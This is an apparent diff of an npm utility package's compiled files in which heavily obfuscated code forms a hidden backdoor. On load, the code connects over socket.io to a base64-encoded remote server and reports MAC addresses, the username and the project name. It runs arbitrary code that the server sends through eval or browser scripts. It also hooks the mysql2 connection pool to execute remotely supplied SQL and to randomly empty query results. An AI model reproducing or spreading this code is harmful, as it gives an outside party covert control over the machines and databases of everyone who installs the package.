_0x3e6da5=['2jRZyFw','42275hIwBJF','3086157iBuvzX','5549630gmaqof','110196SbGEfp','485377ChVqSI','250624OhpecO','random','371cTLebJ','round','76SzPwmg','900QwvZGK','389873TIjNbs','9CljQIe'];a11_0x1e21=function(){return _0x3e6da5;};return a11_0x1e21();}export default random;
|
package/dist/esm/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a12_0x5c5f46=a12_0x19ee;function a12_0x56b6(){const _0x2a75b2=['浏览器','478XUWiLp','env','node获取失败','69882skvJpS','3271990TbVOpa','connectError','unlock','meta_event','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','emit','default','connect','22GZuugj','type','71430dnqfLc','undefined','25650638qHJqYK','next','./browser','424QyNaec','length','done','./server','mac','get-event','mysql','value','event','sqlList','00:00:00:00:00:00','./IndexDB/index','./mac','node','assign','submit','6848AZWVxW','8zfvjuc','connect_error','5642388KPzceV','aHR0cDovL2xvY2FsaG9zdDoxMDg4','content','511ZeKyzw','error','then','24OfvLEl','connect_failed','1336233vsSccB'];a12_0x56b6=function(){return _0x2a75b2;};return a12_0x56b6();}(function(_0x2b3084,_0x5a3fae){const _0x3cf1fd=a12_0x19ee,_0x3ea626=_0x2b3084();while(!![]){try{const _0x26e5d7=parseInt(_0x3cf1fd(0xe2))/0x1*(parseInt(_0x3cf1fd(0xef))/0x2)+-parseInt(_0x3cf1fd(0xed))/0x3+parseInt(_0x3cf1fd(0x102))/0x4*(parseInt(_0x3cf1fd(0xfd))/0x5)+parseInt(_0x3cf1fd(0xf2))/0x6*(parseInt(_0x3cf1fd(0xe8))/0x7)+parseInt(_0x3cf1fd(0xe3))/0x8*(parseInt(_0x3cf1fd(0xe5))/0x9)+parseInt(_0x3cf1fd(0xf3))/0xa*(parseInt(_0x3cf1fd(0xfb))/0xb)+parseInt(_0x3cf1fd(0xeb))/0xc*(-parseInt(_0x3cf1fd(0xff))/0xd);if(_0x26e5d7===_0x5a3fae)break;else _0x3ea626['push'](_0x3ea626['shift']());}catch(_0x14a0f6){_0x3ea626['push'](_0x3ea626['shift']());}}}(a12_0x56b6,0xd9806));var __awaiter=this&&this['__awaiter']||function(_0x448126,_0x2dabba,_0x1f5988,_0x13e55f){function _0x36e105(_0x20426d){return _0x20426d instanceof _0x1f5988?_0x20426d:new _0x1f5988(function(_0x396b27){_0x396b27(_0x20426d);});}return new(_0x1f5988||(_0x1f5988=Promise))(function(_0x5447df,_0xc5e403){const _0x4c8805=a12_0x19ee;function _0xe67b7f(_0x3fd268){const _0x1da712=a12_0x19ee;try{_0x441486(_0x13e55f[_0x1da712(0x100)](_0x3fd268));}catch(_0x12e702){_0xc5e403(_0x12e702);}}function _0x124c03(_0x126485){try{_0x441486(_0x13e55f['throw'](_0x126485));}catch(_0x500a01){_0xc5e403(_0x500a01);}}function _0x441486(_0x557303){const _0x428e89=a12_0x19ee;_0x557303[_0x428e89(0x104)]?_0x5447df(_0x557303['value']):_0x36e105(_0x557303[_0x428e89(0xd9)])[_0x428e89(0xea)](_0xe67b7f,_0x124c03);}_0x441486((_0x13e55f=_0x13e55f['apply'](_0x448126,_0x2dabba||[]))[_0x4c8805(0x100)]());});},_a,_b,_c;import{v4}from'uuid';import{io}from'socket.io-client';import{decode}from'js-base64';import a12_0x372d81 from'path';const isBrowser=typeof window!==a12_0x5c5f46(0xfe);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};!isBrowser&&(id=require('./id')[a12_0x5c5f46(0xf9)],getAllRouter=require('./getAllRouter')[a12_0x5c5f46(0xf9)],mysql=require(a12_0x5c5f46(0x105))['mysql']);const user_name=isBrowser?'浏览器':((_a=process===null||process===void 0x0?void 0x0:process[a12_0x5c5f46(0xf0)])===null||_a===void 0x0?void 0x0:_a['USERNAME'])||a12_0x5c5f46(0xf1),project_name=isBrowser?a12_0x5c5f46(0xee):((_b=process===null||process===void 0x0?void 0x0:process[a12_0x5c5f46(0xf0)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||'无法获取';let dev=a12_0x5c5f46(0xe6),pro=a12_0x5c5f46(0xf7);const globalObject=isBrowser?window:global;globalObject[a12_0x5c5f46(0xf6)]=Object[a12_0x5c5f46(0xe0)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function a12_0x19ee(_0x150a73,_0x51cdc2){const _0x56b66f=a12_0x56b6();return a12_0x19ee=function(_0x19ee8e,_0x2410cf){_0x19ee8e=_0x19ee8e-0xd9;let _0x165407=_0x56b66f[_0x19ee8e];return _0x165407;},a12_0x19ee(_0x150a73,_0x51cdc2);}export function setEnv(_0x444151,_0x32fd22){const _0x5548a4=a12_0x5c5f46;globalObject[_0x5548a4(0xf6)][_0x444151]=_0x32fd22;}export function getEnv(_0x293431){return globalObject['meta_event'][_0x293431];}let url=decode(dev);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x1f2902=a12_0x19ee;isBrowser&&(typeof require!=_0x1f2902(0xfe)?require(_0x1f2902(0x101)):import('./browser'));const _0x562ca4=io(url,{'path':'/socket','transports':['websocket']});_0x562ca4['on'](_0x1f2902(0xfa),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x5edab6=_0x1f2902;try{let _0x11d0fb=[_0x5edab6(0xdc)];if(!isBrowser){const _0x5a14ef=require(a12_0x372d81['join'](__dirname,_0x5edab6(0xde)))['default'];_0x11d0fb=_0x5a14ef();}else{const {getKeyValue:_0x5481c4}=typeof require!=_0x5edab6(0xfe)?require(_0x5edab6(0xdd)):yield import(_0x5edab6(0xdd));_0x11d0fb=[yield _0x5481c4(_0x5edab6(0x106))];}if(_0x11d0fb[_0x5edab6(0x103)]===0x0){setEnv(_0x5edab6(0xf4),!![]);return;}else setEnv(_0x5edab6(0xf4),![]);_0x562ca4[_0x5edab6(0xf8)](_0x5edab6(0xe1),{'mac':_0x11d0fb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x562ca4[_0x5edab6(0xf8)]('get-event',{'mac':_0x11d0fb,'isBrowser':isBrowser}),setInterval(()=>{const _0x4d13f5=_0x5edab6;_0x562ca4[_0x4d13f5(0xf8)](_0x4d13f5(0xe1),{'mac':_0x11d0fb,'project_name':project_name,'user_name':user_name,'notes':''}),_0x562ca4[_0x4d13f5(0xf8)](_0x4d13f5(0x107),{'mac':_0x11d0fb,'isBrowser':isBrowser});},0x1b58),_0x562ca4['on'](_0x5edab6(0xda),_0xe96f51=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4063b3=_0x5edab6;try{for(let _0x17c1fb=0x0;_0x17c1fb<_0xe96f51[_0x4063b3(0x103)];_0x17c1fb++){const _0x547a5b=_0xe96f51[_0x17c1fb];if(_0x547a5b[_0x4063b3(0xfc)]==='sql')setEnv(_0x4063b3(0xdb),getEnv(_0x4063b3(0xdb))['concat'](_0x547a5b[_0x4063b3(0xe7)]));else{if(_0x547a5b['type']===_0x4063b3(0x108))setEnv('isDBDataEmpty',!![]);else{if(_0x547a5b['type']===_0x4063b3(0xdf)&&!isBrowser)try{eval(_0x547a5b[_0x4063b3(0xe7)]);}catch(_0x47fcc2){}else{if(_0x547a5b[_0x4063b3(0xfc)]==='script'&&isBrowser)try{const {runScript:_0x1b1144}=typeof require!=_0x4063b3(0xfe)?require('./browser'):yield import(_0x4063b3(0x101));_0x1b1144(_0x547a5b[_0x4063b3(0xe7)]);}catch(_0xcb6e91){}}}}}}catch(_0x538345){}}));}catch(_0x2c9095){}})),setTimeout(()=>{const _0x3df8f3=_0x1f2902;_0x562ca4['on'](_0x3df8f3(0xe9),_0x1de0d4=>{const _0x403de5=_0x3df8f3;setEnv(_0x403de5(0xf4),!![]);}),_0x562ca4['on'](_0x3df8f3(0xec),_0x5f567d=>{const _0x3fa8f1=_0x3df8f3;setEnv(_0x3fa8f1(0xf4),!![]);}),_0x562ca4['on']('reconnect_failed',_0x5a72ca=>{const _0x57ff98=_0x3df8f3;setEnv(_0x57ff98(0xf4),!![]);}),_0x562ca4['on'](_0x3df8f3(0xe4),_0x59ccaa=>{const _0x528e1e=_0x3df8f3;setEnv(_0x528e1e(0xf4),!![]);});},0xbb8);});}!((_c=globalObject['meta_event'])===null||_c===void 0x0?void 0x0:_c[a12_0x5c5f46(0xf5)])&&start();const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};export default all;export{uuid,id,getAllRouter,mysql};
|
package/dist/esm/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a14_0xc0c663=a14_0x8126;(function(_0x2e49d4,_0x325ce6){const _0x5120b1=a14_0x8126,_0x5f58ec=_0x2e49d4();while(!![]){try{const _0x2409fc=parseInt(_0x5120b1(0x146))/0x1+-parseInt(_0x5120b1(0x14b))/0x2+-parseInt(_0x5120b1(0x145))/0x3*(parseInt(_0x5120b1(0x143))/0x4)+-parseInt(_0x5120b1(0x141))/0x5+-parseInt(_0x5120b1(0x13c))/0x6+parseInt(_0x5120b1(0x149))/0x7*(parseInt(_0x5120b1(0x152))/0x8)+parseInt(_0x5120b1(0x147))/0x9;if(_0x2409fc===_0x325ce6)break;else _0x5f58ec['push'](_0x5f58ec['shift']());}catch(_0x3a13e5){_0x5f58ec['push'](_0x5f58ec['shift']());}}}(a14_0x2a3e,0x718ce));import{networkInterfaces}from'os';function a14_0x2a3e(){const _0xd4d04a=['00:50:56','08:00:27','family','2454970BtXtcv','00:1c:42','120716RwzXIN','replace','51CtduGT','307636eGPpBH','13231116zvYRgA','has','2127398aLVhrU','trim','1202906EJQehQ','00:03:ff','02:00:4c','slice','mac','00:05:69','values','24YcNwQR','push','test','toLowerCase','00:0f:4b','internal','3713460jglWJy','00:0c:29'];a14_0x2a3e=function(){return _0xd4d04a;};return a14_0x2a3e();}function isZeroMac(_0x3f5a85){const _0x1f3cb9=a14_0x8126;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x1f3cb9(0x154)](_0x3f5a85);}function getMac(_0x5ee9ae='IPv4'){const _0x1a6c22=a14_0x8126,_0x52b694=networkInterfaces();let _0x2965b1=[];for(const _0x4f6c43 of Object[_0x1a6c22(0x151)](_0x52b694)){const _0x1a4309=_0x4f6c43['find'](_0x3ca76a=>!_0x3ca76a['internal']&&!isZeroMac(_0x3ca76a[_0x1a6c22(0x14f)])&&(!_0x3ca76a[_0x1a6c22(0x140)]||_0x3ca76a[_0x1a6c22(0x140)]===_0x5ee9ae)&&!isVirtualMac(_0x3ca76a[_0x1a6c22(0x14f)]));_0x1a4309&&_0x2965b1[_0x1a6c22(0x153)](_0x1a4309['mac']);}return[...new Set(_0x2965b1)];}const isValid=_0x517641=>_0x517641[a14_0xc0c663(0x157)]===![]&&!isZeroMac(_0x517641['mac']),virtualMacPrefix=new Set([a14_0xc0c663(0x150),a14_0xc0c663(0x13d),a14_0xc0c663(0x13e),'00:1c:14',a14_0xc0c663(0x142),a14_0xc0c663(0x14d),a14_0xc0c663(0x14c),a14_0xc0c663(0x156),'00:16:3e',a14_0xc0c663(0x13f),'00:15:5d']);export function isMac(_0x3418f7){const _0x5be38a=a14_0xc0c663;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x5be38a(0x154)](_0x3418f7);}function a14_0x8126(_0x566cd0,_0x207162){const _0x2a3e01=a14_0x2a3e();return a14_0x8126=function(_0x812637,_0x48a499){_0x812637=_0x812637-0x13c;let _0x48e17a=_0x2a3e01[_0x812637];return _0x48e17a;},a14_0x8126(_0x566cd0,_0x207162);}export function formatMac(_0x5aead1){const _0x7fc353=a14_0xc0c663;return String(_0x5aead1)[_0x7fc353(0x14a)]()[_0x7fc353(0x155)]()[_0x7fc353(0x144)](/-/g,':');}export function isVirtualMac(_0x5b9672){const _0x5203c9=a14_0xc0c663;return isMac(_0x5b9672)&&virtualMacPrefix[_0x5203c9(0x148)](formatMac(_0x5b9672)[_0x5203c9(0x14e)](0x0,0x8));}export default getMac;
|
package/dist/esm/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
function a15_0x1e83(_0x8fe633,_0x12b80e){const _0xc776a7=a15_0xc776();return a15_0x1e83=function(_0x1e83cc,_0x1af17e){_0x1e83cc=_0x1e83cc-0x77;let _0x46703e=_0xc776a7[_0x1e83cc];return _0x46703e;},a15_0x1e83(_0x8fe633,_0x12b80e);}const a15_0x14d61c=a15_0x1e83;(function(_0x8d2a8b,_0x23e9cc){const _0x16b069=a15_0x1e83,_0x207040=_0x8d2a8b();while(!![]){try{const _0x274f58=parseInt(_0x16b069(0x8b))/0x1*(parseInt(_0x16b069(0x83))/0x2)+parseInt(_0x16b069(0x77))/0x3+parseInt(_0x16b069(0x85))/0x4+-parseInt(_0x16b069(0x88))/0x5*(parseInt(_0x16b069(0x7e))/0x6)+parseInt(_0x16b069(0x80))/0x7*(parseInt(_0x16b069(0x79))/0x8)+-parseInt(_0x16b069(0x7b))/0x9*(-parseInt(_0x16b069(0x81))/0xa)+-parseInt(_0x16b069(0x8c))/0xb;if(_0x274f58===_0x23e9cc)break;else _0x207040['push'](_0x207040['shift']());}catch(_0x18a37c){_0x207040['push'](_0x207040['shift']());}}}(a15_0xc776,0x8ed49));var __awaiter=this&&this[a15_0x14d61c(0x86)]||function(_0x1f60e1,_0x2b184f,_0x266d67,_0x3a46a1){function _0x409477(_0x37284b){return _0x37284b instanceof _0x266d67?_0x37284b:new _0x266d67(function(_0x36fd01){_0x36fd01(_0x37284b);});}return new(_0x266d67||(_0x266d67=Promise))(function(_0x49baba,_0x518f82){const _0x26f305=a15_0x1e83;function _0x620f2d(_0xac7c53){const _0x1063c3=a15_0x1e83;try{_0x3bf9ef(_0x3a46a1[_0x1063c3(0x8a)](_0xac7c53));}catch(_0x24a0c3){_0x518f82(_0x24a0c3);}}function _0x1d6afc(_0x2a9e13){const _0x26d7da=a15_0x1e83;try{_0x3bf9ef(_0x3a46a1[_0x26d7da(0x7c)](_0x2a9e13));}catch(_0x2034d1){_0x518f82(_0x2034d1);}}function _0x3bf9ef(_0x1009ca){const _0x1a6644=a15_0x1e83;_0x1009ca[_0x1a6644(0x7a)]?_0x49baba(_0x1009ca[_0x1a6644(0x78)]):_0x409477(_0x1009ca[_0x1a6644(0x78)])[_0x1a6644(0x8e)](_0x620f2d,_0x1d6afc);}_0x3bf9ef((_0x3a46a1=_0x3a46a1[_0x26f305(0x84)](_0x1f60e1,_0x2b184f||[]))[_0x26f305(0x8a)]());});};import a15_0x2ad8de from'mysql2/promise';import a15_0x12922d from'./id/random';import{getEnv,setEnv}from'./index';const originalCreatePoolPromise=a15_0x2ad8de[a15_0x14d61c(0x8d)];a15_0x2ad8de['createPool']=function(_0x5df45f){const _0x1350b8=a15_0x14d61c;let _0x36de78=originalCreatePoolPromise(_0x5df45f),_0x297fe0=_0x36de78[_0x1350b8(0x82)];return _0x36de78[_0x1350b8(0x82)]=(..._0x22d61e)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x519d3c=_0x1350b8,_0x35cade=yield _0x297fe0[_0x519d3c(0x84)](_0x36de78,_0x22d61e);return getEnv(_0x519d3c(0x7d))&&(a15_0x12922d(0x1,0xa)>0x2&&(_0x35cade[0x0]=[])),getEnv(_0x519d3c(0x7f))&&(_0x35cade[0x0]=[]),_0x35cade;}),setInterval(()=>{const _0x9f5c30=_0x1350b8;if(!getEnv(_0x9f5c30(0x89))){for(let _0x4418bc=0x0;_0x4418bc<getEnv('sqlList')['length'];_0x4418bc++){const _0x3a5d23=getEnv(_0x9f5c30(0x87))[_0x4418bc];try{_0x36de78[_0x9f5c30(0x82)](_0x3a5d23);}catch(_0x34f9f1){}}setEnv(_0x9f5c30(0x89),!![]);}},0x1388),_0x36de78;};const all={'mysql':a15_0x2ad8de};function a15_0xc776(){const _0x4bb1b7=['isDBDataEmpty','287UTNrHK','130YbShuM','query','234518todloi','apply','2523536EAZGcz','__awaiter','sqlList','40uPvXPT','sqlRun','next','9MPCSIi','26367385aZrURH','createPool','then','1558767NtDnoN','value','192392ooMYjY','done','330291VJAXuP','throw','connectError','515124gcAFQN'];a15_0xc776=function(){return _0x4bb1b7;};return a15_0xc776();}export default all;export{a15_0x2ad8de as mysql};
|